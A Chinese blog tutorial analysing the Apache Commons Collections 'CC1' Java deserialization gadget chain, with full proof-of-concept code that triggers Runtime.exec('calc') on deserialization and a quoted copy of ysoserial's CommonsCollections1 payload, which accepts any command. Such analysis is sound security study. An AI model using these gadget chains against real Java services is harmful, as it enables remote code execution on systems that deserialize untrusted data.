【Java反序列化】CommonsCollections-CC1链分析

2024-03-23 00:44

本文主要是介绍【Java反序列化】CommonsCollections-CC1链分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

好几天没发博文了,偷偷憋了个大的——CC1链分析,手撸了一遍代码。虽然说,这个链很老了,但还是花费了我一段时间去消化吸收,那么接下来,我会简洁的介绍下整个链的利用过程,还有哪些不理解的地方,xdm可以评论区一起讨论学习一下。

环境准备

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
CommonsCollections版本:3.2.1
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
在这里插入图片描述
其次,sun公司代码为反编译后的class,不能进行调试分析
在这里插入图片描述
Java8u65对应的源码https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
jdk-af660750b2f4\src\share\classes\sun
把Java环境中的src.zip解压为jdk1.8.0_65\src,放入sun文件夹
在这里插入图片描述
至此,环境搭建好了,开始调试分析。

CommonsCollections–CC1链分析

先贴一下完整的代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value", "value");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationhdlConstructor.setAccessible(true);Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);serialize(object);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
  1. 先讲一下漏洞利用点,
    InvokerTransformer.transform方法对传入的参数对象进行了反射调用,即能够调用任意对象执行任意方法,进而导致命令执行Runtime.getRuntime().exec("calc");
    在这里插入图片描述
    按照源码的逻辑,写一下简短的POC:
Runtime runtime = Runtime.getRuntime();
Class runtimeClass = runtime.getClass();
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc");

即在InvokerTransformer构造方法中传入对应的参数就可命令执行
在这里插入图片描述
Runtime没有继承Serializable类,无法进行序列化,但是Class类继承了Serializable类,那么将Runtime进行反射调用即可

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

其中有很多细节,ChainedTransformer类的transform方法能够批量执行数组的transform,即调用数组中每一个对象的transform。
在这里插入图片描述
对于new ConstantTransformer(Runtime.class),则可以说是精髓,因为后文中的值不能被直接利用,而ConstantTransformer传入的参数为常量,不可被改变,即被调用的是我们传入的想要的值。
在这里插入图片描述

  1. 再想先讲一下漏洞触发点:反序列化漏洞,最主要的还是要readObject()函数,那么通过漏洞利用点一步步逆推则找到了AnnotationInvocationHandler.readObject()。

InvokerTransformer.transform()
TransformedMap.checkSetValue()
AbstractInputCheckedMapDecorator.MapEntry.setValue()
AnnotationInvocationHandler.readObject()

在这里插入图片描述
简单写一下漏洞POC:

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);

这里Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
TransformedMap继承了AbstractInputCheckedMapDecorator,而AbstractInputCheckedMapDecorator的父类AbstractMapDecorator实现了Map接口,AbstractInputCheckedMapDecorator重写了entrySet方法
在这里插入图片描述
map.put("value", "value");的key要和annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);的Target.class方法一致,不然if判断不过关,无法继续往下执行。
在这里插入图片描述
本文和ysoserial的CC1链略有差别,ysoserial的CC1链调用了LazyMap.get()整个方法https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java,感兴趣的xdm也能再看下ysoserial的CC1链。

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;/*Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()Requires:commons-collections*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {public InvocationHandler getObject(final String command) throws Exception {final String[] execArgs = new String[] { command };// inert chain for setupfinal Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };final Map innerMap = new HashMap();final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chainreturn handler;}public static void main(final String[] args) throws Exception {PayloadRunner.run(CommonsCollections1.class, args);}public static boolean isApplicableJavaVersion() {return JavaVersion.isAnnInvHUniversalMethodImpl();}
}

暂时就先写这些,文笔不太好,有些地方讲的不太清楚,可以看下bilibili的百日梦组长的讲解,放到了参考链接下面,也可以在评论区讨论一下,一起学习。

参考链接

Java反序列化CommonsCollections篇(一) CC1链手写EXP

这篇关于【Java反序列化】CommonsCollections-CC1链分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/836598

相关文章

SpringBoot项目中Maven剔除无用Jar引用的最佳实践

《SpringBoot项目中Maven剔除无用Jar引用的最佳实践》在SpringBoot项目开发中,Maven是最常用的构建工具之一,通过Maven,我们可以轻松地管理项目所需的依赖,而,... 目录1、引言2、Maven 依赖管理的基础概念2.1 什么是 Maven 依赖2.2 Maven 的依赖传递机

SpringBoot实现动态插拔的AOP的完整案例

《SpringBoot实现动态插拔的AOP的完整案例》在现代软件开发中,面向切面编程(AOP)是一种非常重要的技术,能够有效实现日志记录、安全控制、性能监控等横切关注点的分离,在传统的AOP实现中,切... 目录引言一、AOP 概述1.1 什么是 AOP1.2 AOP 的典型应用场景1.3 为什么需要动态插

Java实现Excel与HTML互转

《Java实现Excel与HTML互转》Excel是一种电子表格格式,而HTM则是一种用于创建网页的标记语言,虽然两者在用途上存在差异,但有时我们需要将数据从一种格式转换为另一种格式,下面我们就来看看... Excel是一种电子表格格式,广泛用于数据处理和分析,而HTM则是一种用于创建网页的标记语言。虽然两

java图像识别工具类(ImageRecognitionUtils)使用实例详解

《java图像识别工具类(ImageRecognitionUtils)使用实例详解》:本文主要介绍如何在Java中使用OpenCV进行图像识别,包括图像加载、预处理、分类、人脸检测和特征提取等步骤... 目录前言1. 图像识别的背景与作用2. 设计目标3. 项目依赖4. 设计与实现 ImageRecogni

Java中Springboot集成Kafka实现消息发送和接收功能

《Java中Springboot集成Kafka实现消息发送和接收功能》Kafka是一个高吞吐量的分布式发布-订阅消息系统,主要用于处理大规模数据流,它由生产者、消费者、主题、分区和代理等组件构成,Ka... 目录一、Kafka 简介二、Kafka 功能三、POM依赖四、配置文件五、生产者六、消费者一、Kaf

Java访问修饰符public、private、protected及默认访问权限详解

《Java访问修饰符public、private、protected及默认访问权限详解》:本文主要介绍Java访问修饰符public、private、protected及默认访问权限的相关资料,每... 目录前言1. public 访问修饰符特点:示例:适用场景:2. private 访问修饰符特点:示例:

详解Java如何向http/https接口发出请求

《详解Java如何向http/https接口发出请求》这篇文章主要为大家详细介绍了Java如何实现向http/https接口发出请求,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 用Java发送web请求所用到的包都在java.net下,在具体使用时可以用如下代码,你可以把它封装成一

SpringBoot使用Apache Tika检测敏感信息

《SpringBoot使用ApacheTika检测敏感信息》ApacheTika是一个功能强大的内容分析工具,它能够从多种文件格式中提取文本、元数据以及其他结构化信息,下面我们来看看如何使用Ap... 目录Tika 主要特性1. 多格式支持2. 自动文件类型检测3. 文本和元数据提取4. 支持 OCR(光学

Java内存泄漏问题的排查、优化与最佳实践

《Java内存泄漏问题的排查、优化与最佳实践》在Java开发中,内存泄漏是一个常见且令人头疼的问题,内存泄漏指的是程序在运行过程中,已经不再使用的对象没有被及时释放,从而导致内存占用不断增加,最终... 目录引言1. 什么是内存泄漏?常见的内存泄漏情况2. 如何排查 Java 中的内存泄漏?2.1 使用 J

JAVA系统中Spring Boot应用程序的配置文件application.yml使用详解

《JAVA系统中SpringBoot应用程序的配置文件application.yml使用详解》:本文主要介绍JAVA系统中SpringBoot应用程序的配置文件application.yml的... 目录文件路径文件内容解释1. Server 配置2. Spring 配置3. Logging 配置4. Ma